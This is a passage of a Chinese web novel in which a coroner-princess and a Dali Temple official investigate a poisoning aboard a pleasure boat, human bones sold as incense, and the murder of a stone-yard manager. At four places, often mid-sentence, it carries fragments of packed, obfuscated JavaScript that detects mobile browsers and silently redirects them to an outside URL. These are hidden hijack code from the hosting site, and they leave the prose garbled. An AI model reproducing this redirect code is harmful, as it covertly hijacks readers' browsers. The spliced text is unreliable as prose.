赵崇又看了眼明荔,见她一脸假笑,十分不情愿的样子,也就答应了齐放。 …… 接近戌时,明荔她们被邀请到了画舫上。操琴之人是徐舜英,她身着月白绫裙,鬓边仅簪一支银质兰钗,烛光映在她眉眼间,更添了几分清绝温婉。 幕帘缓缓落下之时,佳人翩翩起舞,偶尔从里头传来一阵异香,时浓时淡,十分好闻。 “我还当是哪位贵客,原来是赵公子啊。” 几人循声瞧去,明荔恰好迎上那一双凤眸。 他今天穿了一件青绿色的袍子,和明荔身上这件襦裙倒是相配。 “谢大人,失敬。”赵崇未曾起身,毕竟他是未来的君,而谢知津是臣。叫他一声大人,也是看在他曾为人师的份上。 “?”齐放皱眉,“你不是说回谢府便不来了吗?” 回谢府是真,打从用过早食,他便被谢府的下人截回了家。府中下人说谢老太太想孙子了,特叫他回去用饭。 不过吃到一半,谢夫人提起他婚配一事,没说两句便呛了起来,索性已经回来了,他便顺路沐浴更衣,再来画舫。 “你叫他来的?”齐放偷偷凑近林怀州,用端着手的银色酒杯挡嘴。 林怀州只微微侧身,“没有,我都没敢告诉大人。” “怪了。”齐放暗暗苦恼。 夜里水面上风大,微风轻轻吹起,帷幔飘起时,里头的香气缓缓飘了出来。 “他来,你怎么不告诉我。” 明荔苦笑,“是殿下说你公务繁忙,不便叨扰。” 谢知津睨了一眼正在喝酒看舞的赵崇,今日若非莫以新,恐怕他还真寻不到此处,回去还是要好好褒奖的。 一曲毕,徐娘子便向众人道谢,“多谢诸位赏光,今日妾还给在场诸位备下了一份薄礼。” 徐娘子话音未落,舞姬已捧着鎏金小盒款步上前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697079|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 盒子被打开的一瞬,那股香气便再次扑面而来。 “此香名为桃花源,有安神,养颜等功效,且极其珍贵,半年才出这一块。诸位都是我这楼里的老客了,妾也自然不会吝啬,这香便赠与各位了。” 众宾客拍手叫好,有识货的郎君,同随行的另一位郎君说,“听说这桃花源,一金一块,这徐娘子还真是舍得。” 另一位又回,“徐娘子本就是个爽快人,不过这香,我倒是第一次听说。” “我也是偶然听家父提起的,据说这东西好像只有鬼市才有。” 另外一人一听说鬼市,像受了什么惊吓似的,睁圆了眼。 随后噤声,“那地方怪吓人的,徐娘子怎么敢去?” “谁知道啊。” 察觉有别人的目光瞧过来,他们忙噤声,端坐。 后接过香,笑着道谢,然后又各自敬酒喝了起来。 明荔不懂香,但她将这东西捧在手里的时候,只觉得有些怪异。 凉凉的,还散发香味,从未见过这种东西。便多把玩了一会儿。 “你喜欢?”赵崇很早便注意到了,“我宫里比这好的东西多的是,赶明儿我让人都给你送过去。” 谢知津也不服输,“我记得殿下有一颗珠子,好像还是进贡来的?” 赵崇虽不知他要说什么,还是应着,“谢大人记性极好,过了这么久我宫里有什么还记得。” 谢知津挑眉,“当年平康县主为了送您这珠子还受了陛下的责罚,在下很难记不清。” 当年这东西是陛下赐给平康郡主作为生辰贺礼的,不过她偶然得知,赵崇喜欢收集这类珠子,为了讨她欢心便送给了他。 虽是赠与皇子,可御赐之物送给他人,纵然是赵崇这个做儿子的,也是要受罚的。 因而,平康得了一顿板子,被勒令禁足一月不得出门。 赵崇听后,面上也有些挂不住,当场发作也有事风度,只笑笑,夸赞道,“这香,不错,明荔你要是喜欢我在叫人多寻一些。” 明荔:‘能不能别每次都Q我啊。’ “我是不喜欢这些东西的,殿下要送,送我些不起眼的小玩意就是了。” “我头有些晕,想换一个离窗边近的地方,小王爷可否同我换换?” 齐放端酒的手悬在了半空,扫了她们几个一眼。“妹妹不舒服,做哥哥的自然是要照拂一二的。” 他低着头,缓缓起身,不敢再瞧这两位活阎王。 林怀州一向心思细腻,瞧明荔在看这香,低声询问,“怎么了?这香油什么不对吗?” “没什么,就是觉得这香不大对。” 林怀州顿了顿,给她倒了杯茶,“是不是味道太浓了,加上吃了酒,头痛?你先喝杯茶缓缓,待回去让侍女准备些醒酒茶。” “多谢你了,小林大人。” 正说着话,西南角位置传来几阵叫喊。 “梁兄,梁兄!你怎么了?” 不过半盏茶的功夫,那人面色寡白,已毫无生气。 同行的人不死心,探了探他的鼻息,颓然跌倒在地。 “他,他,死了。” 10. 第 10 章 一时间画舫里的人四处逃窜,莫以新不知何时来的,明荔瞧见他的时候,他扶着剑鞘,已经堵在了画舫出口。 死了人,在座的各位都有嫌疑。 “他是同谁一道来的?”谢知津询问周围的人。 同行的人名叫梁生,他胆小,也是生平第一次看死人。 他被吓得不轻,一个劲的吞口水,脸上布了一层汗。 谢知津瞧无人应声,又问了一遍,梁生这才反应过来。 “我,我同他一道来的。” 明荔只对尸体做了简单查验,“死者男,身高七尺,体表光滑无痕,没有中毒迹象。” 梁生的声音抖个不停,双手死死攥着衣襟,“我,我们就是来凑个热闹,他刚才还好好的,喝了口茶,突然就倒下去了……” 赵崇的目光扫过舱内狼藉,语气冷得像浸了冰:“喝茶?谁递的茶?杯子呢?” 案桌上那只白瓷茶杯还在死者手边,茶水剩了大半,瞧着并无异常。 谢知津要上前,指尖刚要碰到杯沿,被明荔抬手拦住。 “别急。”她蹲下身,从发间抽出一根银簪,轻轻探入茶水中,又检查了杯子表面。 银簪入水片刻,依旧光洁如新,并无发黑的痕迹。“有些毒也是可以下在杯子外侧,顺着皮肤渗透进体内。” 谢知津撇嘴笑笑,“你关心我?” 明荔怔楞片刻。 ‘这人是不是疯了?’ 连赵崇都没了办法,一脸无奈的看着他。 梁生瘫坐在地上,眼泪都快下来了:“那他怎么会突然死了?无伤痕、没中毒,难不成是,是邪祟作怪?” 这话一出,舱内顿时起了一阵骚动,几个女眷吓得往角落缩了缩。 “世上哪有鬼神,有的只有人心中的鬼神罢了。”林怀州四下瞧,想看是否有可疑之处。 “他是不是有心疾?”齐放瞧着梁生半天,脑海里才隐约有了这两人的影子。 都是富家子弟,偶尔有宴,总是会遇到的。 “是,是。”梁生疯狂点头。 “你怎么知道?”赵崇的话先谢知津一步出口。 “要是我没记错的话,他好像姓季,单名一个贤字。”齐放瞧着他腰间的玉佩,双眸微蹙,“他们季家的人身体孱弱,有时会宫中御医求药。” 后来,明荔也从他身上找到了一个小药瓶。 她用水化开了一个小颗粒,闻了闻。 是救治心疾的药。 “有可能是因为季公子喝了太多的酒,导致气血不逆行这才意外猝死。” 谢知津晃了晃桌上的酒盏,“季公子平时的酒量如何?” “大概这一壶差不多。” 明显不对,这酒才喝了不到半壶。 “不到半壶?”谢知津捏着酒盏的手指微微收紧,釉色温润的杯沿被他按出一道浅痕,“梁生,你确定?” 梁生一哆嗦,声音发颤,“千,千真万确!季兄同我是多年好友,他的酒量我是知道的。” 赵崇的目光落在那半壶酒上,“明荔,再用银针探探这酒。” 侍从很快递上银针,明荔接过,先探入酒壶,片刻后取出,银针依旧亮白;又蘸了些案上剩余的茶水,结果依旧。 她眉头微蹙,起身绕着尸体走了一圈,目光最终停在季贤的耳后,那里有一个极淡的红点,不仔细瞧根本发现不了。 “这里。”她抬手示意谢知津,“耳后有针孔,细微到几乎看不见。” 谢知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697080|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 津抬手摸了摸,那红点中心似乎有些凹痕,不由挑眉:“是暗器?可这针孔瞧着不像是刚扎的,倒像是。” “像是提前半个时辰到一个时辰留下的。”明荔补充道,指尖轻轻拂过那处皮肤,“针上许是淬了速发性的毒,再加上他喝了酒,加速毒发,气血逆行。” 林怀州闻言,目光扫过舱内众人:“画舫人多眼杂,若要悄无声息下此毒手,必然是与季贤相熟,或是能近距离接触他的人。梁生,你与他同来,途中可有见谁与他攀谈过?” 梁生使劲回想,双手攥得发白:“有,有几个往日里一起玩的公子,还有……还有一位姑娘,说是季贤的远房表妹,过来敬了杯酒。” “远房表妹?”赵崇追问,“什么样的姑娘?现在何处?” “就,就是穿水绿色衣裙的那位,刚才还在。”梁生转头四下张望,脸色骤然变得惨白,“不,不见了!方才混乱时,我还瞧见她在角落,怎么这会儿。” 众人顺着他指的方向看去,那里只剩几张空椅,原本该在的水绿色身影早已没了踪迹。 莫以新一直扶剑立在出口,此刻忽然开口,声音低沉有力:“出口只我一人守着,半个时辰内,未曾见有人出去过。” “那她还在船上?”齐放面露警惕,“这画舫就这么大,难不成藏起来了?” 谢知津忽然笑了笑,转头看向赵崇:“看来不是心疾猝死,是有人蓄意杀人啊。要不要赌一把,咱们谁先找到那位远房表妹?” 明荔没空理会她们,指尖捏着从季贤身上找到的小药瓶,眸色沉凝:“这药瓶里的药是真的,但剂量不对,救治心疾的药,他今日只吃了半粒,不足平时的一半。或许,有人故意让他少服药,再用毒针诱发心疾,好掩人耳目。” 12. 第 12 章 “我知晓的。”明荔扶着梯子,“天色不早了,我要休息了,大人也早些回去吧。” 谢知津直直地瞧着她的背影淹没在黑夜中时,才翻墙而出。 他捶胸顿足,恨不能给自己一巴掌。 “谢知津啊,谢知津,说句好话会怎样?” 他苦恼,明荔也一样。 宁儿捧着铜盆进来,净了热巾子给她洁面,随后又上了热茶来。 “郡主这是菊花决明子茶,您喝了歇歇眼睛。” 回神时,明荔的小臂碰翻了桌上的茶水,浸泡了香块。 “没事吧郡主,没烫到吧。” 微凉的热茶,明荔的白皙的小臂已经微红。 “没事。” 宁儿忙用冷水打湿巾子,给她敷在小臂上。 她忙把香块拿起来,用手帕包上。 香块被水打湿后,晕在了手帕上,里头的东西赫然呈现出来。 明荔捧着它瞧了半天,“这是……” 她把那东西装到盒子里,慌慌张张的跑出了府。 戌时三刻,莫以新二人已至采石场。 采石场依山而建,夜间虽已停工,却仍有守夜人提着灯笼巡逻,火光在山壁间忽明忽暗,映得碎石堆如狰狞巨兽。 “咱们直接进去?”林怀州伏在石头上,掩护自己不被发现。 莫以新按住腰间佩刀,警惕地望着入口处的守卫。 莫以新摇头,指了指不远处一间亮着微光的茅草屋:“先找守夜人问问,绿夏是个女子力气惊人,在采石场定然显眼。” 两人绕到茅草屋侧,屋内传来两个汉子的闲聊声。 莫以新轻叩柴门,待门打开后,林怀州缓缓作礼:“向二位打听个人,绿夏姑娘,可在此处做工?” 那两个守夜人对视一眼,神色微妙。 年长些的汉子摸了摸胡子,低声道:“绿夏啊,是在这儿做过,不过三天前就走了。” “走了?”莫以新追问,“往哪儿去了?” “谁知道呢,”年轻汉子插嘴,“那姑娘,力气大得能搬起半块巨石,总穿着件洗得发白的绿裙,不爱说话。三天前夜里,她突然收拾东西就走了,说什么要去了结一桩旧事。” 莫以新皱眉:“什么旧事?” “这就不清楚了。”年长汉子摆手,“不过她走之前,好像跟一个穿黑斗篷的人见过面,两人在山坳里说了好一阵子话,具体说什么,我们离得远,没听清。” “叨扰两位了。”林怀州再次行礼。 两人辞别守夜人,正要往山坳方向去查探,却见不远处的山道上,一道黑影疾驰而过,身法迅捷,瞧着像是女子的轮廓。 “追!”莫以新低喝一声,便追了上去。 可林怀州是个文人,身法自然比他慢。 黑影似乎早有察觉,脚下速度更快,专挑崎岖山路奔逃。 追至一处悬崖边,那人终于停住脚步,转过身来。 她脸上沾着些许尘土,绿裙被划破了几道口子,眼神却凌厉如刀,手中不知何时多了把短匕。 “你们是谁?为何追我?”她声音清冷,带着几分戒备。 林怀州喘着粗气,缓步上前,目光落在她手中的短匕上:“季贤是你杀的?” 绿夏脸色微变,握着短匕的手紧了紧:“是又如何?他本就该死!” “他与你有何仇怨?”莫以新上前一步,随时准备动手。 绿夏仰头笑了笑,笑声中带着无尽的悲凉:“仇怨?他为了攀附权贵,害得我家家破人亡,他怎么不该死。” 她顿了顿,眼神变得凶狠:“我故意留在季贤身边,就是为了找机会杀了他” 林怀州皱眉:“可画舫上并无你的踪迹,你当时藏在了何处?” “顶层楼阁的夹层里,”绿夏道,“那是我早就打探好的藏身之处。” “我心愿已了,断不会跟你们回去受审!” “不可!”莫以新觉察到,正要上前阻拦,绿夏却毅然转身,纵身跃下了悬崖。山间风声呼啸,转瞬便没了她的踪迹。 这山深不见底,掉下去必死无疑。 “我们去山下搜,活要见人死要见尸。” 打从谢知津他们从鬼市离开,周蔚便盯着那石屋子。 见有人前去买货时,他便也跟着上去。 “客官,看看货?”老者抬起浑浊的眼睛,声音沙哑如同破锣,殷切的向买家介绍。 她没见过周蔚,也以为是大买家。 赵崇故作随意地拿起一个刻着诡异花纹的骨哨把玩:“老丈,这些玩意儿倒是别致。可还有别的稀奇货色?” 老者嘿嘿低笑两声,露出焦黄的牙齿:“这些都是山里老物件,辟邪镇宅的好东西。至于别的...”他浑浊的眼睛在两人身上打转,“那得看客官您,想要什么,又出得起什么价了。” “难不成,阁下也是来寻桃花源的?” 周蔚旁边另一位穿着斗篷的公子笑问。 “当然!” 老者见了,笑眯眯的瞧着周蔚,随后,从旁取出一个小木盒,给他们看。 “桃花源在此,价高者得。” “这桃花源,每月只售一块。我可不会让着阁下。”说罢,他便亮出三块金。 “看来今日这东西非你莫属了。” 周蔚从腰间拿出腰牌,“今日不止是这桃花源,你们都得跟我走。” 那老者想跑,却被胥吏扑倒动弹不得。 “我只是来买的,其他事跟我没关系啊,你们抓我干嘛?” 周蔚也不理他,只让人压着他走,“回去和我们谢大人说吧。” 他亲自搜查了这间石屋。 里头架子上放着的基本都是制香的东西,没什么特别的。 石炕旁,搁着一个大竹筐,用黑布蒙着,周蔚觉得有古怪。 揭开黑布后,一筐白骨赫然出现。 周蔚拿起一块颠了颠,入手沉甸,骨质坚硬。仔细辨认其形态、骨密度、关节结构,都不像是兽骨。 他心里,萌生了个不好的想法。 烹煮人骨,涂抹香膏,于鬼市出售? 明荔来大理寺的时候,恰好和周蔚遇见。 周蔚和她说了方才的事。 他向谢知津汇报时,明荔已换上深青色仵作服,只露出一双凝如秋水的眸子。 谢知津依旧站在她身侧三步之外,沉默地注视着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697082|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周蔚则被安排提审卖香的老者。 “开始吧。”明荔的声音透过面巾,平静无波。 她首先取来温水与软毛刷,极其小心地,开始清洗一块腿骨碎片上附着的暗红色香膏。 动作轻柔,如同对待御赐的珍宝,生怕破坏任何可能存在的微小证据。 “此香膏……”她一边清洗,一边仔细观察其溶解状态,并凑近细嗅,“以牛油或羊油为基底,混合了多种香料。有檀香、丁香、还有龙涎香?”她语气微顿,带着一丝讶异。 “龙涎香?”谢知津眉头紧蹙。此香名贵,价值不菲,通常只有宫中,或极其富贵的人家才用的起。为何会出现在涂抹人骨的诡异香膏之中。 “嗯,虽被其他气味掩盖,但底韵不会错。”明荔肯定道,将清洗下来的膏体收集到一个小瓷碟中,“此外,膏体中似乎还掺杂了少许朱砂,用以增色。” 清洗掉香膏,骨骼本身的样貌彻底显露出来。明荔拿起那块腿骨,就着灯光,仔细瞧着 “骨质坚硬,骨壁较厚,骨骼粗壮,骨垢线已完全闭合。死者为成年男性,年龄应在二十五至四十岁之间,身形应当颇为健壮。”她做出初步判断。 随后,目光落在骨骼断裂处,“断口参差不齐,带有明显的碎裂痕迹。” “并非利刃砍断。”明荔用手指虚划着断口边缘,“看这碎裂的走向和力度,像是被重物反复敲击所致。类似斧背或铁锤。” 她又检查其他几块骨头,包括几节指骨和一块髋骨碎片,均在关节或受力点发现类似的,被暴力破坏的痕迹。 “分尸工具,应该是那种粗糙的重器。凶手力气很大,且目的明确,旨在破坏骨骼结构,或许是为了便于烹煮和搬运。" 提到‘烹煮’二字,连谢知津这等见惯场面的人,嘴角都不由抽搐了一下。 明荔拿起一块肋骨,仔细查看其表面和骨髓腔。 骨骼颜色呈现一种不均匀的微黄,骨髓腔内部也残留着些许油脂凝固的痕迹。 “烹煮时间不短。”她判断道,“水温应是一直保持沸腾,但火候控制尚可,并未将骨骼煮至酥烂。目的是去除附着的软组织,而非熬汤。” “可能判断出死亡时间吗?”谢知津问道。这是关键。 明荔沉吟片刻,拿起一块骨骼,轻轻敲击,倾听其声,仔细观察骨骼表面的风化程度和油脂氧化情况。 “骨骼脱离软组织后,暴露于空气,会逐渐失水、变轻、变色。根据这几块骨头的重量、色泽,以及骨髓腔内残留油脂的新鲜程度初步推断,死者遇害及被烹煮去肉的时间,应在七到十日之内。” “还有一点,”明荔拿起那几节小小的指骨,“这些指骨的关节面,尤其是末端,磨损异常严重,远超常人。并且,指甲附着处的骨骼边缘,有陈旧性的、细微的增生变形。” 她抬起头,看向谢知津:“死者生前,双手可能长期从事某种特定的,需要极大指力且频繁摩擦的劳作。比如石匠,矿工,或是长期操作某种特定工具的工匠。” 谢知津之眼中精光一闪,立刻吩咐下去:“立刻以此特征,重点排查京州及周边近半月内失踪的,二十五至四十岁,身体健壮的男子。” 13. 第 13 章 府衙内,灯火通明,却驱不散弥漫在空气中的凝重。 谢知津剑眉紧锁,指尖点划着桌面,上面摊着验尸格目。 明荔在旁边坐了好久,端起已经微凉的茶盏,轻啜一口,“凶手选择这类体格的受害者,是不是有什么特殊的原因。” “不无可能。”明荔眼神冷冽,“前朝笔记野史中,确有记载以人骨入药或做法器的邪门歪道,尤以金刚骨为甚,传言需取壮年男子之骨,经特殊炮制,若真有人信奉此道,那这便不是简单的谋杀,而是有预谋,有选择的猎杀。” 约过了一个时辰后,第一批排查结果送了进来。 符合年龄,体貌特征的失踪男子,京州及近郊半月内共有七例。 明荔与谢知津逐一翻阅案册。 “城东张屠户,三日前与妻口角后离家。” “西水门外脚夫刘大,嗜赌,欠下巨债,五日前失踪。” “北巷织工赵三,有癔症,时好时坏,八日前走失。” 卷宗记录详实,家属报案情由也看似合理。 直到翻到第四份,谢知津的目光停了好久。 “城南,瑞丰石料行,雇工王犇,年二十八,身形魁梧,专职石料打磨。十日前告假一日后,再未返工,坊主三日前报官。” “石料行。”明荔也注意到了这一份,“工匠身份吻合。” 紧接着,便是第五份卷宗:“瑞丰石料行,雇工李贵,年三十一,石匠。七日前下工后未归,同屋工友次日上报坊主,坊主称其可能怠工回乡,未及时报官,直至昨日其同乡寻人不见,才催促报官。” “又是瑞丰石料行?”谢知津抬起眼,“十日内,同一家石料行,两名符合特征的雇工接连失踪?” 明荔眉头紧锁,立刻抽出最后两份卷宗。 第六份是城西砖窑的工人,情由清楚,已被寻回。 第七份,竟然又是瑞丰石料行。 “雇工孙河,年三十五,采石工。据卷宗记录,半月前于城外西山采石场作业时,疑似失足坠崖,搜寻数日只找到破损的衣物和少许血迹,判定为意外身亡。” “意外?”谢知津语气变为了置疑,“西山采石场地势虽险,但经验丰富的采石工失足坠崖,连尸首都找不到?” 明荔放下卷宗,思衬道,“一家石料行,短短半月,一死两失踪,皆是最精壮的匠人。这绝非巧合。” 瑞丰石料行位于城南厢,规模不小,占据了半条街面。 前店后坊,后面连着巨大的石料堆放场和加工场地。空气中弥漫着石粉的味道,叮叮当当的凿石声不绝于耳。 掌柜是个四十多岁,留着两撇胡须的精明男子,姓钱。 见到谢知津亮出大理寺腰牌,先是一惊,随即堆起满脸笑容,将他们迎进内堂。 “不知少卿大人大驾光临,有失远迎,恕罪恕罪。”钱掌柜亲自奉茶,态度恭谨。 明荔也不绕弯子,直接问道:“钱掌柜,贵行近日可有匠人失踪?” 钱掌柜脸上笑容一僵,随即叹气道:“回大人,确有此事。唉,都是些不省心的。王犇和李贵,一个告假不回,一个下工就没了影,许是嫌工钱少,跑到别处营生去了。这年头,匠人流动性大,也是常事。” “常事?”谢知津斜睨着他,”那孙河坠崖身亡,也是常事?” 钱掌柜额角渗出细汗:“孙河那是意外,西山采石场本就危险,他自己不小心。” “哦?”谢知津忽然开口,声音清冷,“据卷宗记载,发现孙河遗物处,崖边碎石整齐,并无明显滑坠挣扎痕迹。钱掌柜可知,人在失足瞬间,本能会抓挠崖壁,留下痕迹乃是常理。” 钱掌柜脸色微变,强笑道:“这,您说的是。不过当时勘验的是县衙仵作和差役,他们既已判定是意外,想必不会有错。” “本官今日前来,并非复核孙河一案。”谢知津打断他,目光如炬,“而是怀疑,王犇、李贵二人失踪,或许并非简单的怠工。近日汴京城中出现一些人骨邪祟之物,本官需排查所有可疑人等。” 他刻意说得模糊,观察着钱掌柜的反应。 钱掌柜瞳孔猛地一缩,端着茶盏的手几不可察地抖了一下,茶水险些漾出。他连忙放下茶盏,用袖子擦了擦额角的汗:“人,人骨?大人明鉴,我们石料行做的可是正经生意,跟那些邪祟之物绝无干系啊!王犇和李贵说不定是惹了什么不该惹的人,或者或者是被拍花子的拐了去也未可知。” “不该惹的人?”明荔故意明说,“钱掌柜似乎知道些什么?” “不!不知道!”钱掌柜连连摆手,神色慌张,”小人只是胡乱猜测,胡乱猜测。” 谢知津不动声色地观察着内堂的陈设,目光扫过多宝阁上几件价值不菲的玉器摆件。 后来周蔚进来,在他耳边低语几句。 “大人,查过了。这瑞丰石料行近两年承接了不少官府工程,包括去年为范公在京郊新建的别苑供应石材。” “范公?”谢知津虽已想到了名字,却还是要确认,此人在朝中势力盘根错节,不好对付,“范仲荣?” “派人守住石料行前后门,没有我的命令,任何人不得随意出入。钱掌柜,近几日劳烦你待在行内,随时配合问询。” ”是,是,小人一定配合,一定配合”钱掌柜如蒙大赦,连连躬身。 离开石料行,回到马车上,明荔才沉声道:“这个钱掌柜,心里有鬼。” 谢知津点头:“他似乎很害怕我们深究孙河的意外。” “你今夜回去好好歇息吧,我同你说过的话,你可以在考虑考虑,不急着给我答复。” 谢知津指的事同赵崇的婚事,只要她说不嫁,就算上刀山下火海这桩婚也成不了。 …… 绿夏坠落的悬崖下头有一条小河,若她会水,那自会平安无事。 林怀州和莫以新在底下搜查了好久都没看到尸体。 林怀州是个文官,体力上自然比不过武将。 他气喘吁吁,摘下衣服上挂着的草,找块石头坐下,“得了,歇会吧。我实在是走不动了。” 莫以新靠在旁边的树上,低笑,“这才不过两个时辰,快点走。” “不走了,不走了。” 莫以新没办法随着他坐下,“罢了,休息一会儿,咱们找个地方休息一下,明儿早在找绿夏。” 夜色如墨,泼洒在西山崖下的河谷间。晚风卷着草木湿气,掠过两人汗湿的衣襟,带来几分凉意。 林怀州瘫坐在石头上,指尖揉着发酸的小腿肚,目光扫过眼前蜿蜒的小河水,莫以新正卷起裤管,准备下水抓鱼。 “你说这绿夏,若是真会水,怎么也该找个地方上岸了吧?”莫以新喘着气开口,声音里带着几分焦躁,“这都搜了大半夜,别说人了,连件像样的衣物碎片都没再找到。” 他从怀中摸出火折子,吹亮后,借着微弱的光查看四周。 河谷两岸杂草丛生,树根盘虬,黑黢黢的影子像张牙舞爪的鬼魅。 “别急,”他声音沉稳,“这河往下游拐了三道弯,说不定她被冲到了下游浅滩。“再者,她既敢跳崖,要么是有恃无恐,要么是走投无路,总不至于真的葬身鱼腹。” 火折子的光忽明忽暗,映出他紧抿的唇角。 莫以新用树枝支起两个架子,架起鱼来烤,随后从怀里里摸出两块干硬的麦饼,叫林怀州过来坐,递了一块给他,“先垫垫肚子吧,再找下去,不等找到她,咱们俩先垮了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697083|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜里起了风,空气中弥漫着一股血腥之气。 大理寺偏房里,谢知津准备休息的时候,周蔚却脸色铁青地疾步入房门外,忐忑叩门。 “大人,钱掌柜死了。” 房内烛火猛地一跳,谢知津忙从榻上坐起,“怎么回事?” “就在半个时辰前,钱掌柜被发现死在离石料行两条街外的暗巷里。”周蔚语速很快,“发现时已经断气,现场像是遭了劫杀,钱袋不见了,身上有挣扎痕迹。巡街的武侯先到的现场,认出是他,这才报到我们这里。” 谢知津眼神骤冷:“我们的人呢?不是让你们看好他吗?” 周蔚面露愧色:“是属下失职。钱掌柜申时末说内急,要去茅房,我们的人跟到巷口,等了片刻不见人出来,进去寻时,人已经不见了。找到他时已经是一具尸体。” “走!”谢知津抓起披风,径直向外走。 路上,周蔚问道,“要我去请明郡主来吗?” “太晚了,我们先去做简单查验,明日再去请她。” 现场已被武侯封锁,狭窄的暗巷深处,钱掌柜仰面倒在污水横流的地上,双目圆睁,脸上凝固着惊骇的表情。 他的衣襟被扯开,腰间空空如也,现场一片狼藉,确实像极了劫财害命。 谢知津先检查了钱掌柜的双手,指甲缝里有些许污垢和皮屑。接着,她检查头面部,后脑有一处撞击伤,但应该并不致命。 “颈部有伤。”他轻轻拨开钱掌柜的衣领,一道清晰的紫红色勒痕暴露出来,“机械性窒息,他是被人从背后用绳索之类的东西勒死的。” 谢知津仔细分辨着勒痕的走向和深浅,生怕出什么错,“凶手力气很大,动作很快,钱掌柜几乎没怎么挣扎就失去了意识。” 周蔚也随之蹲下身,仔细观察着勒痕:“不是寻常劫匪的手法。太干净利落了。” 谢知津点点头,继续检查。 “你看。” 周蔚凑近,只见钱掌柜右手食指和中指的指甲缝里,除了污垢,还嵌着一些极其细微的纤维,和膏状物质。 “这是什么?”谢知津问。 “香膏。”周蔚语气肯定,笑说,“我每个月发钱时都会给我夫人带一盒回家?” 周蔚是大理寺出了名的宠爱夫人,家里大小从来不用夫人动手,他负责赚钱养家,夫人负责貌美如花。 “他在临死前,曾经用力抓挠过凶手。而且凶手穿着那种深蓝色的衣服。”谢知津继续说,“至于香膏,难不成凶手是女子?” 谢知津继续检查,在钱掌柜的鞋底缝隙里,发现了一些灰白色的石粉。 “你看?”谢知津用手指揩了些,站起身来,环顾这条阴暗的巷子,“此地并没有跟此类物质相关的东西,这里不是第一现场。他应该是被杀后移尸到此,然后伪装成劫杀。” 他走了小半步,地面被刻意泼洒了污水和垃圾,掩盖了可能的拖拽痕迹。 “灭口。”周蔚恍然大悟,“我们刚查到石料行,他就被灭口了。凶手在盯着我们,或者在盯着他。” 他似乎又想到什么,“大人,是我们的行动打草惊蛇了?” “未必。”谢知津目光锐利地扫过巷子两端,“也可能是钱掌柜自己感觉到了危险,想跑,却被截住了。” “可是,他跟着咱们,不是更安全?”周蔚问。 大风刮过,谢知津也陷入了沉思。按理说确是如此,也许是凶手特意引他出来,明知自己能力不够,可能不会一击必中,所以用计引他自己出来,随后杀人灭口。 谢知津的目光落在巷子尽头,“周蔚,带人以此地为中心,搜查附近内所有可能藏匿或行凶的场所,尤其是废弃的房屋,仓库,看看能否发现第一现场。” 14. 第 14 章 不到一炷香的功夫,周蔚那边传来了消息。 在隔着一条街的一处废弃宅院里,发现了可疑痕迹。 那宅院久无人居,院门虚掩。推开进去,院内杂草丛生,正屋的门槛上,有一小片掺和着泥沙的血迹。 谢知津蹲下查验,确认是喷溅状的血迹,血量不大。 屋内灰尘很厚,地面有明显的拖拽痕迹,他们随着一路到后院。 在后院墙角,找到了一截被丢弃的、沾着暗红色香膏和石粉的麻绳,与钱掌柜颈部的勒痕宽度吻合。 “这里就是第一现场。”谢知津环视这个荒凉的院子,“钱掌柜是在这里被勒死,然后被拖到那条暗巷去的。” “凶手看起来对这片区域很熟悉。”周蔚判断道,“知道哪里僻静,哪里适合移尸伪装。” 勘查完毕,回到大理寺时,已是破晓时分。 殓房内,钱掌柜的遗体被安置在验尸台上。 得知消息后,明荔一大早便被叫来验尸,人命关天,来不及收拾打扮,她便从府中匆匆出来。 尽管未施粉黛,面庞还是那么精致。 谢知津在一旁看着她,出神好久,想起了那天夜里,明荔身着一身白衣,伏在他膝上的场景。 明荔对尸体进行了详细的勘验,确认死因就是颈部受勒导致的窒息,与其他发现一致。 “钱掌柜胃内容物基本排空,死亡时间在末次进餐后三到四个时辰,与他离开石料行的时间吻合。”林怀州一边记录一边说,“他指甲缝里的香膏和纤维,与之前的证物成分相同。鞋底的石粉,也确认与骨骼上残留的,来自同一种石料。” 